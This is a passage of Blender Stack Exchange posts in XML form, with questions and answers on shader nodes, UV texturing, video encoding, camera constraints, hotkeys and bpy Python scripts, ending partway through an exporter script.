  <row Id="26121" PostTypeId="2" ParentId="26116" CreationDate="2015-02-22T11:11:09.610" Score="5" Body="&lt;p&gt;You access tangents and bitangents from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bpy.types.MeshLoop.html&quot; rel=&quot;nofollow&quot;&gt;MeshLoops&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;me = bpy.context.active_object.data&#xA;&#xA;# tangents have to be pre-calculated&#xA;# this will also calculate loop normal&#xA;me.calc_tangents()&#xA;&#xA;# loop faces&#xA;for face in me.polygons:&#xA;    # loop over face loop&#xA;    for vert in [me.loops[i] for i in face.loop_indices]:&#xA;        tangent = vert.tangent&#xA;        normal = vert.normal&#xA;        bitangent = vert.bitangent_sign * normal.cross(tangent)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get tangent and bitangent of some face you need to average tangents and bitangents of every vertex in that face loop.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-22T16:09:51.513" LastActivityDate="2015-02-22T16:09:51.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26122" PostTypeId="2" ParentId="26055" CreationDate="2015-02-22T12:30:29.140" Score="5" Body="&lt;p&gt;I'm not experienced with cycles but share some ideas on how to approach this. You could start with a Voronoi texture to get the cellular look:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lDEWp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a color ramp with colors occuring in the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cells in your image have different sizes this means whe need to mix two Voronoi textures which different scales. The borders of the cells are not as smooth as in the Voronoi texture here some noise could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtZEq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the upper part of the nodes (including noise) could look like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Au4GP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;the lower part (overlay) something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQEkw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combined by mix shader:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XFmUu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/15/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=15&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2016-03-10T15:13:56.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26123" PostTypeId="2" ParentId="23919" CreationDate="2015-02-22T13:30:44.380" Score="0" Body="&lt;p&gt;You could also use an image texture with an emit shader and/or an environment map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJLT0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bluish part comes from an image texture wired to an emission shader, the white stripe was added by the anisotropic shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lt6xA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The surface is displaced by a noise texture here with scale at 29 (exaggerated for demonstration):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQT8T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another try:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/S67Nn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34605&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-22T18:51:42.333" LastActivityDate="2015-02-22T18:51:42.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26124" PostTypeId="1" CreationDate="2015-02-22T13:41:21.423" Score="0" ViewCount="107" Body="&lt;p&gt;I have a problem, with UV editing in Blender. When I added this texture to this tower model, the texture is shaded for no good reason, and I copy pasted lights everywhere around it, but it still doesn't work. I have no idea what is going on with this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS For any other information, I only know the basics of Blender and it's UV editing, so please write stuff that I will be easy for me to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zKZ0F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12745" LastEditorUserId="2217" LastEditDate="2015-02-22T14:43:14.330" LastActivityDate="2015-02-22T14:43:14.330" Title="Why is my texture shaded in the viewport?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26125" PostTypeId="1" CreationDate="2015-02-22T14:27:10.593" Score="0" ViewCount="2198" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/36Y05.png&quot; alt=&quot;the screen that appears in the rendered view&quot;&gt;&#xA;I want to add a wood texture to this art mannequin. I have tried everything, I have Unwrapped the model plugged in a mapping node and messed about with the scale but I'm sure I have overlooked some basic element of applying the texture. All that appears when I render it or go into the rendered/material viewports is a orange/yellow color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ki3Ew.jpg&quot; alt=&quot;The Texture I want to add&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12746" LastEditorUserId="2217" LastEditDate="2015-02-22T14:40:43.613" LastActivityDate="2015-02-22T14:40:43.613" Title="Texture not rendering in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26126" PostTypeId="1" AcceptedAnswerId="26127" CreationDate="2015-02-22T15:59:50.757" Score="2" ViewCount="858" Body="&lt;p&gt;In the render view one can see the RGB values while pressing LMB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1GTLz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can these values be copied to the clipboard in order to paste them into a color widget?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2015-02-22T17:13:26.080" LastActivityDate="2015-02-22T17:13:26.080" Title="How can a RGB color value be copied from reference image or render?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26127" PostTypeId="2" ParentId="26126" CreationDate="2015-02-22T15:59:50.757" Score="2" Body="&lt;p&gt;Blender can copy any color value from the 3D viewport directly into the color widget.&#xA;The little icon &quot;Sample data block from the 3D view&quot; allows to pick a color value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/av5Ku.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MgtcL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-22T15:59:50.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26128" PostTypeId="1" CreationDate="2015-02-22T16:40:07.393" Score="2" ViewCount="131" Body="&lt;p&gt;So i have made a video and i started rendering in AVI format, codec H.264 with MP3 audio and when I'm finished rendering it's just a .file file. If I open it using windows media player it runs, sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: I'm saving it as a H.264 and i have used it before...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Extra information:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Video Format:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;720p (1280x720)&lt;/li&gt;&#xA;&lt;li&gt;50 FPS &lt;/li&gt;&#xA;&lt;li&gt;Raw video from a USB 2.0&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Raw video format: 720p (1280x720) 50 FPS Bitrate: 4785 AVCHD-video&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Encoding:&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Format:AVI&lt;/li&gt;&#xA;&lt;li&gt;Codec:H.264&lt;/li&gt;&#xA;&lt;li&gt;Bitrate:6000&lt;/li&gt;&#xA;&lt;li&gt;GOP Size:18&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12748" LastEditorUserId="12748" LastEditDate="2015-02-22T17:00:37.863" LastActivityDate="2015-02-22T17:00:37.863" Title="Blender rendering fileformat: .file" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26130" PostTypeId="1" CreationDate="2015-02-22T20:20:01.910" Score="1" ViewCount="101" Body="&lt;p&gt;Is there a way to undo steps, including removing modifiers, similar to how one works through or deletes Photoshop layers?&lt;/p&gt;&#xA;" OwnerUserId="12752" LastEditorUserId="2217" LastEditDate="2015-02-22T20:45:01.130" LastActivityDate="2015-02-22T20:45:01.130" Title="Undo Functions on a single layer" Tags="&lt;workflow&gt;&lt;layers&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26131" PostTypeId="1" AcceptedAnswerId="26134" CreationDate="2015-02-22T20:44:10.650" Score="2" ViewCount="2075" Body="&lt;p&gt;I've got a camera with a &lt;em&gt;follow path&lt;/em&gt; constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2YOLb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout the animation, I'd like to be able to make the camera point at something in my scene, rather than forward along the curve. For example, I'd like to make the camera look at Suzanne as it rounds the corner in the top right of the screenshot. This should be a smooth transition from pointing forward along the curve, to point at Suzanne, and back to forward along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried parenting the camera to an empty, and tracking to the empty. The idea was that the empty would come along for the ride with the camera, but it could be moved off toward Suzanne as it gets close to the corner.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-02-22T21:05:44.187" LastActivityDate="2015-09-21T20:21:15.057" Title="Follow Path and Track To constraints together" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26132" PostTypeId="1" AcceptedAnswerId="26139" CreationDate="2015-02-22T20:45:16.040" Score="3" ViewCount="438" Body="&lt;p&gt;I want to edit video material from a PAL DVD, i.e. 720x576 pixels with a pixel aspect ratio of 1.09... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final cut is supposed to be rendered to a video file. Therefore I am wondering whether it makes sense to use the &quot;TV PAL 4:3&quot; preset in the project properties, which accounts for the pixel aspect ratio, or whether I should use square pixels and just calculate the corresponding resolution of the output video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second one seems safer to &quot;misinterpretation&quot; of the video material by any players. But are there any concerns regarding the quality of the output?&lt;/p&gt;&#xA;" OwnerUserId="12753" LastEditorUserId="12753" LastEditDate="2015-02-23T08:32:46.813" LastActivityDate="2015-02-23T08:32:46.813" Title="How to treat video material with non-square pixels" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26133" PostTypeId="1" AcceptedAnswerId="26168" CreationDate="2015-02-22T20:53:52.887" Score="2" ViewCount="977" Body="&lt;p&gt;I have a glossy node with the roughness set to 0.05. I am using this material on many objects, and want to randomize the roughness by a small bit on each model (to be specific, between 0.02 and 0.05). I know that the way to randomize is to add an Object Info node, but what should I put between the Object Info node and the Glossy node to put the values 0.02 and 0.05 and plug into the roughness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vn3kq.png&quot; alt=&quot;Missing node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="241" LastEditDate="2015-02-23T11:50:44.363" LastActivityDate="2015-02-23T13:33:36.937" Title="How do I randomise a glossy node's roughness within a specific range?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26134" PostTypeId="2" ParentId="26131" CreationDate="2015-02-22T20:57:01.183" Score="2" Body="&lt;p&gt;With the following constraints the camera follows the path, with the influence of the &lt;em&gt;Track To&lt;/em&gt; the camera can be directed to the target object. The influence can be keyframed by hovering and press &lt;kbd&gt;I&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hzBHQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4W2kW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34607&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-22T21:52:06.870" LastActivityDate="2015-02-22T21:52:06.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26136" PostTypeId="2" ParentId="26118" CreationDate="2015-02-22T20:58:56.837" Score="1" Body="&lt;p&gt;The problem was caused by other objects overlapping the object that I wanted to bake.  When modelling I used the boolean modifier with some other objects and hid the old objects after applying it.  By deleting the old objects the bake worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Leon Cheung and MarcClintDion for their help!&lt;/p&gt;&#xA;" OwnerUserId="12739" LastActivityDate="2015-02-22T20:58:56.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26137" PostTypeId="2" ParentId="26133" CreationDate="2015-02-22T21:01:15.593" Score="6" Body="&lt;p&gt;All that is needed is a bit of math:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndHgm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an input of &lt;code&gt;1&lt;/code&gt;: &lt;code&gt;1 * .03 = .03&lt;/code&gt;, &lt;code&gt;.03 + .02 = .05&lt;/code&gt;&lt;br&gt;&#xA;With an input of &lt;code&gt;0&lt;/code&gt;: &lt;code&gt;0 * .03 = 0&lt;/code&gt;, &lt;code&gt;0 + .02 = .02&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-02-22T21:07:39.087" LastActivityDate="2015-02-22T21:07:39.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26138" PostTypeId="1" CreationDate="2015-02-22T21:09:51.970" Score="2" ViewCount="693" Body="&lt;p&gt;I'm fairly new to Blender 3D and I'm making a model.&#xA;After applying smooth shading to my character's face, I get weird lighting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things that I've tried to resolve this problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Recalculate normals ( all normals are facing the right way )&lt;/li&gt;&#xA;&lt;li&gt;Use Auto smooth &lt;/li&gt;&#xA;&lt;li&gt;Apply edge split modifier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNoER.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZ18e.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12754" LastEditorUserId="29301" LastEditDate="2018-10-12T13:56:25.850" LastActivityDate="2018-11-16T15:03:20.767" Title="Weird smooth shading" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="26139" PostTypeId="2" ParentId="26132" CreationDate="2015-02-22T21:59:05.020" Score="1" Body="&lt;p&gt;I misinterpreted your question, and I thought you were going to create a DVD. My bad, I didn't read thoroughly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simply re-encoding a DVD to a video file, such as an MP4 or an AVI, I wouldn't use Blender at all. Exactly what to use, depends on your OS. If you just need to re-encode, with minor or no filtering, I'd suggest &lt;a href=&quot;http://fixounet.free.fr/avidemux/&quot; rel=&quot;nofollow&quot;&gt;Avidemux&lt;/a&gt;, which is available for multiple operating systems and has an easy to understand GUI. If you're comfortable with command line tools, there's always &lt;a href=&quot;https://www.ffmpeg.org/&quot; rel=&quot;nofollow&quot;&gt;FFmpeg&lt;/a&gt;. Both Blender and Avidemux use FFmpeg as a backend to encode video, but neither of them has support for everything FFmpeg can do; most notably not all combinations of codecs and container formats are available.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the scaling part, I'd say do as little scaling as possible. Especially avoid upscaling. If you use a container format that has native support for aspect ratio settings, you shouldn't have to do any scaling at all. MP4 and MKV are the safest bet, as they have aspect ratio support, and AVI can be made to support it with some trickery, but not all players will understand it. FFmpeg and mencoder can write AVI files with aspect ratio settings.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-02-22T21:59:05.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26142" PostTypeId="1" AcceptedAnswerId="26143" CreationDate="2015-02-22T22:30:37.913" Score="16" ViewCount="14408" Body="&lt;p&gt;I frequently go forth and back between &quot;3D cursor&quot; and &quot;Median point&quot; as pivot center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any hotkeys for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VKB26.png&quot; alt=&quot;Pivot point options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="12" LastEditDate="2015-02-22T23:40:28.047" LastActivityDate="2020-07-06T05:31:33.250" Title="Hotkey for changing pivot center?" Tags="&lt;shortcut&gt;&lt;3d-cursor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26143" PostTypeId="2" ParentId="26142" CreationDate="2015-02-22T22:42:23.170" Score="17" Body="&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/pivot_point/index.html?#pivot-point&quot; rel=&quot;noreferrer&quot;&gt;Blender's Manual&lt;/a&gt; gives you the answer:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bounding Box Center: &lt;kbd&gt;&lt;strong&gt;,&lt;/strong&gt;&lt;/kbd&gt;&lt;br&gt;&#xA;3D Cursor: &lt;kbd&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/kbd&gt;&lt;br&gt;&#xA;Individual Origins: &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/kbd&gt;&lt;br&gt;&#xA;Median Point: &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;strong&gt;,&lt;/strong&gt;&lt;/kbd&gt;&lt;br&gt;&#xA;Active Element: &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="15924" LastEditDate="2017-08-04T18:12:03.437" LastActivityDate="2017-08-04T18:12:03.437" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26144" PostTypeId="1" AcceptedAnswerId="26247" CreationDate="2015-02-22T23:03:23.237" Score="7" ViewCount="1587" Body="&lt;p&gt;Is it possible to assign a specific action to multiple objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 13 000 objects and they all need to have their render visibility animated off. I was hoping to create an action for one of them and then somehow assign that action to each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe I can simply use the &quot;make links&quot; functionality, since each object has also another action, that must stay individual for each object (and making links would override that action).&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2018-10-01T22:31:37.580" Title="Assign action to multiple objects" Tags="&lt;animation&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26145" PostTypeId="1" AcceptedAnswerId="26153" CreationDate="2015-02-22T23:11:37.870" Score="1" ViewCount="700" Body="&lt;p&gt;Is there any blender GUI toolkit/library (popup window + eventual window control, button, radio button, checklists, slider, enter text...) to use with blender game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is to evoke, for example, a button, place it at a given coordinates, then add the appropriate sensor, controller and actuator.&lt;/p&gt;&#xA;" OwnerUserId="5658" LastActivityDate="2015-02-23T03:11:15.900" Title="Any blender GUI toolkit for use with Game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26146" PostTypeId="2" ParentId="16511" CreationDate="2015-02-22T23:15:19.050" Score="11" Body="&lt;p&gt;I had trouble getting the other answer for the nested lists to work without the complete code. Here is an example of the answer that should work directly pasted into the text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class subcustomPropertiesGroup(bpy.types.PropertyGroup):&#xA;    customString = bpy.props.StringProperty()&#xA;bpy.utils.register_class(subcustomPropertiesGroup)&#xA;&#xA;class customPropertiesGroup(bpy.types.PropertyGroup):&#xA;    subLists = bpy.props.CollectionProperty(type=subcustomPropertiesGroup)    &#xA;bpy.utils.register_class(customPropertiesGroup)&#xA;&#xA;bpy.types.Scene.customLists = bpy.props.CollectionProperty(type=customPropertiesGroup)&#xA;bpy.types.Scene.subLists = bpy.props.CollectionProperty(type=subcustomPropertiesGroup)&#xA;&#xA;bpy.context.scene.customLists.clear()&#xA;bpy.context.scene.subLists.clear()&#xA;&#xA;bpy.context.scene.customLists.add().name = 'list1'&#xA;bpy.context.scene.customLists.add().name = 'list2'&#xA;&#xA;newCustomItem = bpy.context.scene.customLists['list1'].subLists.add()&#xA;newCustomItem.customString = &quot;test1&quot;&#xA;newCustomItem = bpy.context.scene.customLists['list1'].subLists.add()&#xA;newCustomItem.customString = &quot;test2&quot;&#xA;newCustomItem = bpy.context.scene.customLists['list2'].subLists.add()&#xA;newCustomItem.customString = &quot;test3&quot;&#xA;newCustomItem = bpy.context.scene.customLists['list2'].subLists.add()&#xA;newCustomItem.customString = &quot;test4&quot;&#xA;&#xA;print('_______________')&#xA;for customList in bpy.context.scene.customLists:&#xA;&#xA;    print(&quot;List: &quot;+customList.name)&#xA;&#xA;    for subList in customList.subLists:&#xA;&#xA;        print(&quot;Property: &quot;+subList.customString)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps other beginners.&lt;/p&gt;&#xA;" OwnerUserId="12755" LastEditorUserId="12755" LastEditDate="2015-02-23T01:01:39.150" LastActivityDate="2015-02-23T01:01:39.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26148" PostTypeId="1" AcceptedAnswerId="26180" CreationDate="2015-02-23T01:12:22.960" Score="0" ViewCount="4784" Body="&lt;p&gt;I am totally a newbie to Blender and python scripting in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is write a script for one of my models in the Crate.blend file in the scene to extract its vertices and face information and printing it to the console&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Blender text editor to write a simple script like below and run the script. This runs fine on the console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for item in bpy.data.objects:  &#xA;&#xA;    if item.name == 'Crate':&#xA;        if item.type == 'MESH':&#xA;            for face in item.data.polygons:&#xA;                verts_in_face = face.vertices[:]&#xA;                print(&quot;face index &quot;, face.index)&#xA;                print(&quot;normal &quot;, face.normal)&#xA;                for vert in verts_in_face:&#xA;                    print(&quot;vertex coords &quot;, item.data.vertices[vert].co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want is to execute this script when I type the following line in the console &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background crate.blend --python export-model.py -- Crate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I go about achieving this? I think I might need to create an exporter script for the same? I found a promising post for creating an exporter script &lt;a href=&quot;https://stackoverflow.com/questions/17079106/how-do-i-get-a-blender-exporter-script-to-run-from-the-command-line&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will paste the script just in case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Required Blender information.&#xA;bl_info = {&#xA;           &quot;name&quot;: &quot;My Exporter&quot;,&#xA;           &quot;author&quot;: &quot;&quot;,&#xA;           &quot;version&quot;: (1, 0),&#xA;           &quot;blender&quot;: (2, 65, 0),&#xA;           &quot;location&quot;: &quot;File &amp;gt; Export &amp;gt; Test (.tst)&quot;,&#xA;           &quot;description&quot;: &quot;&quot;,&#xA;           &quot;warning&quot;: &quot;&quot;,&#xA;           &quot;wiki_url&quot;: &quot;&quot;,&#xA;           &quot;tracker_url&quot;: &quot;&quot;,&#xA;           &quot;category&quot;: &quot;Import-Export&quot;&#xA;          }&#xA;&#xA;# Import the Blender required namespaces.&#xA;import sys, getopt&#xA;&#xA;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;&#xA;&#xA;&#xA;# The main exporter class.&#xA;class MyExporter(bpy.types.Operator, ExportHelper):&#xA;   bl_idname       = &quot;export_scene.my_exporter&quot;;&#xA;   bl_label        = &quot;My Exporter&quot;;&#xA;   bl_options      = {'PRESET'};&#xA;&#xA;   filename_ext    = &quot;.tst&quot;;&#xA;&#xA;   object_count    = 0;&#xA;&#xA;   def __init__(self):&#xA;      pass&#xA;&#xA;   def execute(self, context):&#xA;      print(&quot;Execute was called.&quot;);&#xA;&#xA;      self.parse_command_line_options();&#xA;&#xA;      if (self.filepath == &quot;&quot;):&#xA;         print(&quot;No sutable filename was provided to save to.&quot;);&#xA;         return {'FINISHED'};&#xA;&#xA;      # Get all the mesh objects in the scene.&#xA;      objList = [object for object in bpy.context.scene.objects if object.type == 'MESH'];&#xA;&#xA;      # Now process all the objects that we found.&#xA;      for gameObject in objList:&#xA;         self.export_object(gameObject);&#xA;&#xA;      # Parse all the objects in the scene.&#xA;      return {'FINISHED'};&#xA;&#xA;&#xA;   def export_object(self, gameObject):&#xA;      if (gameObject.type != &quot;MESH&quot;):&#xA;         print(&quot;Object was not of type mesh.&quot;);&#xA;      else:&#xA;         self.object_count += 1;&#xA;&#xA;      return;&#xA;&#xA;&#xA;   def parse_command_line_options(self):&#xA;      modelFile = &quot;&quot;;&#xA;      myArgs = [];&#xA;      argsStartPos = 0;&#xA;&#xA;      if ((&quot;--&quot; in sys.argv) == False):&#xA;         return;&#xA;&#xA;      argsStartPos = sys.argv.index(&quot;--&quot;);&#xA;      argsStartPos += 1;&#xA;      myArgs = sys.argv[argsStartPos:];&#xA;&#xA;      try:&#xA;         opts, args = getopt.getopt(myArgs, 'hm:', [&quot;help&quot;, &quot;model-file=&quot;]);&#xA;      except getOpt.GetoptError:&#xA;         print(&quot;Opt Error.&quot;);&#xA;         return;&#xA;&#xA;      for opt, arg in opts:&#xA;         if (opt in (&quot;-h&quot;, &quot;--help&quot;)):&#xA;            print(&quot;Run this as the following blender command.&quot;);&#xA;            print(&quot;\tblender &amp;lt;blend file&amp;gt; --background --python &amp;lt;script file&amp;gt; -- -m &amp;lt;output file&amp;gt;&quot;);&#xA;         elif (opt in (&quot;-m&quot;, &quot;--model-file&quot;)):&#xA;            modelFile = arg;&#xA;&#xA;      if (modelFile != &quot;&quot;):&#xA;         self.filepath = modelFile;&#xA;&#xA;&#xA;&#xA;# Define a function to create the menu option for exporting.&#xA;def create_menu(self, context):&#xA;   self.layout.operator(MyExporter.bl_idname,text=&quot;test (.tst)&quot;);&#xA;&#xA;# Define the Blender required registration functions.&#xA;def register():&#xA;   